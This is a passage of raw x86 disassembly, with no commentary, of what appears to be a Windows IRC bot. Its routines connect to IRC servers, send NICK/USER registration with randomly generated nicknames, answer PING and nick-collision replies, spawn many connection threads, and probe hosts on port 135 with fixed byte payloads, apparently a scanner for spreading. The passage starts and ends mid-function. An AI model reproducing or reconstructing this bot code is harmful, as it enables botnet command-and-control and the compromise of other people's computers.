		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBAA4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_417B25
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA64
		cmp	eax, esi
		jnz	short loc_417B0A
		push	[ebp+arg_0]
		call	dword_4CBAA8
		test	eax, eax
		jz	short loc_417B25
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417B0A:				; CODE XREF: sub_417AA9+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB9CC
		cmp	eax, esi
		jnz	short loc_417B29
		push	edi
		call	dword_4CBABC


loc_417B25:				; CODE XREF: sub_417AA9+1Bj
					; sub_417AA9+58j
		mov	eax, esi
		jmp	short loc_417B2B
; ---------------------------------------------------------------------------


loc_417B29:				; CODE XREF: sub_417AA9+73j
		mov	eax, edi


loc_417B2B:				; CODE XREF: sub_417AA9+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417AA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B2F	proc near		; CODE XREF: sub_401ACD+324Cp
					; sub_401ACD+32B6p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A084 ; "\n"
		push	edi
		call	sub_41C8A0
		pop	ecx
		mov	esi, offset dword_4D4AAC
		pop	ecx


loc_417B47:				; CODE XREF: sub_417B2F+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_417B65
		cmp	dword ptr [esi], 0
		jbe	short loc_417B65
		push	0
		push	edi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CBA74


loc_417B65:				; CODE XREF: sub_417B2F+1Cj
					; sub_417B2F+21j
		add	esi, 210h
		cmp	esi, offset dword_4DB1CC
		jl	short loc_417B47
		pop	edi
		pop	esi
		retn
sub_417B2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B76	proc near		; CODE XREF: sub_417C61+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CDD0 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41CAD4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_417B9B:				; CODE XREF: sub_417B76+35j
		push	esi
		push	0
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_417B9B
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_417BC3
		cmp	esi, edi
		jnz	short loc_417BC3
		push	1
		pop	eax
		jmp	loc_417C5C
; ---------------------------------------------------------------------------


loc_417BC3:				; CODE XREF: sub_417B76+3Fj
					; sub_417B76+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417BDE
		push	offset dword_439378
		jmp	short loc_417C2C
; ---------------------------------------------------------------------------


loc_417BDE:				; CODE XREF: sub_417B76+5Fj
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417BFF
		push	esi
		push	offset dword_439374
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A


loc_417BFF:				; CODE XREF: sub_417B76+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417E84
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_439368


loc_417C2C:				; CODE XREF: sub_417B76+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA74


loc_417C5A:				; CODE XREF: sub_417B76+87j
		xor	eax, eax


loc_417C5C:				; CODE XREF: sub_417B76+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C61	proc near		; DATA XREF: sub_417E06+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4AB4[esi]
		mov	dword_4D4AA8[esi], edi
		push	dword_4D4CB4[esi]
		push	eax
		call	sub_417AA9
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D4AAC[esi], eax
		jb	loc_417DE6
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417E84
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D4AAC[esi]
		call	dword_4CBA74
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch


loc_417D3D:				; CODE XREF: sub_417C61+111j
					; sub_417C61+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D4AAC[esi]
		call	dword_4CBA3C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417DE6
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417D3D


loc_417D74:				; CODE XREF: sub_417C61+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417D9B
		cmp	al, 0Ah
		jz	short loc_417D9B
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417D9B
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417DD5
; ---------------------------------------------------------------------------


loc_417D9B:				; CODE XREF: sub_417C61+11Cj
					; sub_417C61+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417DD5
		push	dword_4D4AAC[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417B76
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417DE6
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417DD5:				; CODE XREF: sub_417C61+138j
					; sub_417C61+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_417D74
		jmp	loc_417D3D
; ---------------------------------------------------------------------------


loc_417DE6:				; CODE XREF: sub_417C61+40j
					; sub_417C61+107j ...
		mov	dword_4D4AA8[esi], ebx
		mov	esi, dword_4D4AAC[esi]
		cmp	esi, ebx
		jbe	short loc_417DFD
		push	esi
		call	dword_4CBABC


loc_417DFD:				; CODE XREF: sub_417C61+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_417C61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E06	proc near		; CODE XREF: sub_401ACD+319Bp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417E7F


loc_417E18:				; CODE XREF: sub_417E06+77j
		xor	edi, edi
		mov	eax, offset dword_4D4AA8


loc_417E1F:				; CODE XREF: sub_417E06+28j
		cmp	[eax], ebx
		jz	short loc_417E30
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DB1C8
		jl	short loc_417E1F


loc_417E30:				; CODE XREF: sub_417E06+1Bj
		cmp	edi, 31h
		jz	short loc_417E7F
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4AB4[esi]
		push	eax
		call	sub_41C890
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4CB4[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4AA8[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_417C61
		push	ebx
		push	ebx
		call	near ptr 2680456h
		nop
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417E18


loc_417E7F:				; CODE XREF: sub_417E06+10j
					; sub_417E06+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E84	proc near		; CODE XREF: sub_401ACD+36FDp
					; sub_401ACD+3747p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		call	sub_41C2C2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276D8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_417ECE
		call	sub_41C2C2
		call	sub_41C2C2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	dword ptr loc_438AB7+1[edx*4]
		jmp	short loc_417EE7
; ---------------------------------------------------------------------------


loc_417ECE:				; CODE XREF: sub_417E84+2Fj
		call	sub_41C2C2
		call	sub_41C2C2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_4387B8[edx*4]


loc_417EE7:				; CODE XREF: sub_417E84+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C890
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41D174
		mov	ebx, eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417F5A
		cmp	esi, 3
		jnz	short loc_417F51
		cmp	ebx, 1
		jz	short loc_417F5A


loc_417F51:				; CODE XREF: sub_417E84+C6j
		cmp	eax, 1
		jnz	loc_418014


loc_417F5A:				; CODE XREF: sub_417E84+C1j
					; sub_417E84+CBj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41D174
		push	dword ptr loc_438AB7+1[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C890
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41C990
		add	esp, 10h
		test	eax, eax
		jnz	short loc_418001
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418001
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_418001
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_418001:				; CODE XREF: sub_417E84+111j
					; sub_417E84+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41CBC0
		add	esp, 0Ch


loc_418014:				; CODE XREF: sub_417E84+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B9C0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41DEE8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41827C
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418173
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418082
		cmp	eax, 1
		jnz	loc_418173


loc_418082:				; CODE XREF: sub_417E84+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_4180C4
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_4180E0
; ---------------------------------------------------------------------------


loc_4180C4:				; CODE XREF: sub_417E84+207j
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_4180E0:				; CODE XREF: sub_417E84+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418109
		cmp	eax, ebx
		jnz	short loc_418173


loc_418109:				; CODE XREF: sub_417E84+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_41814E
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_41816C
; ---------------------------------------------------------------------------


loc_41814E:				; CODE XREF: sub_417E84+28Fj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_41816C:				; CODE XREF: sub_417E84+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_418173:				; CODE XREF: sub_417E84+1C9j
					; sub_417E84+1F8j ...
		cmp	esi, 6
		jge	loc_4181FC
		cmp	esi, 5
		jge	short loc_418194
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		jmp	short loc_4181B2
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_417E84+2FBj
		call	sub_41C2C2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8


loc_4181B2:				; CODE XREF: sub_417E84+30Ej
		call	sub_41D174
		test	eax, eax
		jnz	short loc_4181D5
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		jmp	short loc_4181F2
; ---------------------------------------------------------------------------


loc_4181D5:				; CODE XREF: sub_417E84+335j
		cmp	eax, 1
		jnz	short loc_4181FC
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h


loc_4181F2:				; CODE XREF: sub_417E84+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_4181FC:				; CODE XREF: sub_417E84+2F2j
					; sub_417E84+354j
		cmp	[ebp+var_C], 2
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A0
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		cmp	[ebp+var_C], eax
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_427698
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_41827C:				; CODE XREF: sub_417E84+1B1j
					; sub_417E84+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418295	proc near		; CODE XREF: sub_4182CD+125p
					; sub_4182CD+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_4182C3


loc_4182A6:				; CODE XREF: sub_418295+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41DF40
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4182C9
		inc	esi
		cmp	esi, edi
		jl	short loc_4182A6


loc_4182C3:				; CODE XREF: sub_418295+Fj
		xor	al, al


loc_4182C5:				; CODE XREF: sub_418295+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4182C9:				; CODE XREF: sub_418295+27j
		mov	al, 1
		jmp	short loc_4182C5
sub_418295	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182CD	proc near		; CODE XREF: ___:0040DFD7p
					; ___:0040E0C0p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41C500
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_41830E
		dec	eax
		jz	short loc_4182EC
		dec	eax


loc_4182E6:				; CODE XREF: sub_4182CD+57j
		xor	eax, eax


loc_4182E8:				; CODE XREF: sub_4182CD+3Fj
					; sub_4182CD+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4182EC:				; CODE XREF: sub_4182CD+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4CBA64
		push	eax
		call	sub_40C34B
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_4182E8
; ---------------------------------------------------------------------------


loc_41830E:				; CODE XREF: sub_4182CD+13j
		push	6
		push	1
		push	2
		call	dword_4CBAA4
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_4182E6
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4CBA24
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB9CC
		cmp	eax, edi
		jz	loc_41842A
		push	ebx
		push	48h
		push	offset dword_4393C0
		push	esi
		call	dword_4CBA74
		cmp	eax, edi
		jz	loc_41842A
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA3C
		cmp	eax, edi
		jz	loc_41842A
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_41842A
		push	ebx
		push	18h
		push	offset dword_43940C
		push	[ebp+arg_4]
		call	dword_4CBA74
		cmp	eax, edi
		jz	short loc_41842A
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA3C
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41842A
		cmp	[ebp+var_200E],	2
		jnz	short loc_41842A
		push	10h
		push	offset loc_439428
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		test	al, al
		jz	short loc_41840A
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_41842A
; ---------------------------------------------------------------------------


loc_41840A:				; CODE XREF: sub_4182CD+12Fj
		push	10h
		push	offset dword_43943C
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_41842A:				; CODE XREF: sub_4182CD+9Bj
					; sub_4182CD+B2j ...
		push	[ebp+arg_4]
		call	dword_4CBABC
		mov	eax, ebx
		pop	ebx
		jmp	loc_4182E8
sub_4182CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41843B	proc near		; CODE XREF: sub_401ACD+BD0p
					; sub_401ACD+C0Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_4184C6
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_4184C6
		cmp	[ebp+arg_8], esi
		jz	short loc_4184C6
		cmp	byte ptr [eax],	0
		jz	short loc_4184C6
		push	ebx
		push	edi
		call	sub_426465
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_4184C1
		push	[ebp+arg_4]
		push	edi
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4184BA
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41BFD0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41B9C0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41CBC0
		push	[ebp+arg_4]
		call	sub_41B9C0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C8A0
		push	ebx
		push	edi
		call	sub_41C890
		add	esp, 30h
		mov	esi, edi


loc_4184BA:				; CODE XREF: sub_41843B+3Cj
		push	ebx
		call	sub_41BA91
		pop	ecx


loc_4184C1:				; CODE XREF: sub_41843B+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_4184C8
; ---------------------------------------------------------------------------


loc_4184C6:				; CODE XREF: sub_41843B+Cj
					; sub_41843B+13j ...
		xor	eax, eax


loc_4184C8:				; CODE XREF: sub_41843B+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41843B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184CC	proc near		; CODE XREF: sub_401955+E9p
					; ___:00410CF1p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41BF70
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41B9C0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_418502
		or	eax, 0FFFFFFFFh
		jmp	short loc_418575
; ---------------------------------------------------------------------------


loc_418502:				; CODE XREF: sub_4184CC+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_418524


loc_41850E:				; CODE XREF: sub_4184CC+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_41851B
		cmp	dl, 0Dh
		jnz	short loc_41851F


loc_41851B:				; CODE XREF: sub_4184CC+48j
		and	byte ptr [ecx+esi], 0


loc_41851F:				; CODE XREF: sub_4184CC+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_41850E


loc_418524:				; CODE XREF: sub_4184CC+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418555
		lea	edi, [ebp+var_7CC]


loc_418531:				; CODE XREF: sub_4184CC+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418550
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418550
		cmp	ebx, 1F4h
		jge	short loc_418555
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418550:				; CODE XREF: sub_4184CC+69j
					; sub_4184CC+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_418531


loc_418555:				; CODE XREF: sub_4184CC+5Dj
					; sub_4184CC+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418573
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41CD20
		add	esp, 0Ch


loc_418573:				; CODE XREF: sub_4184CC+8Ej
		mov	eax, ebx


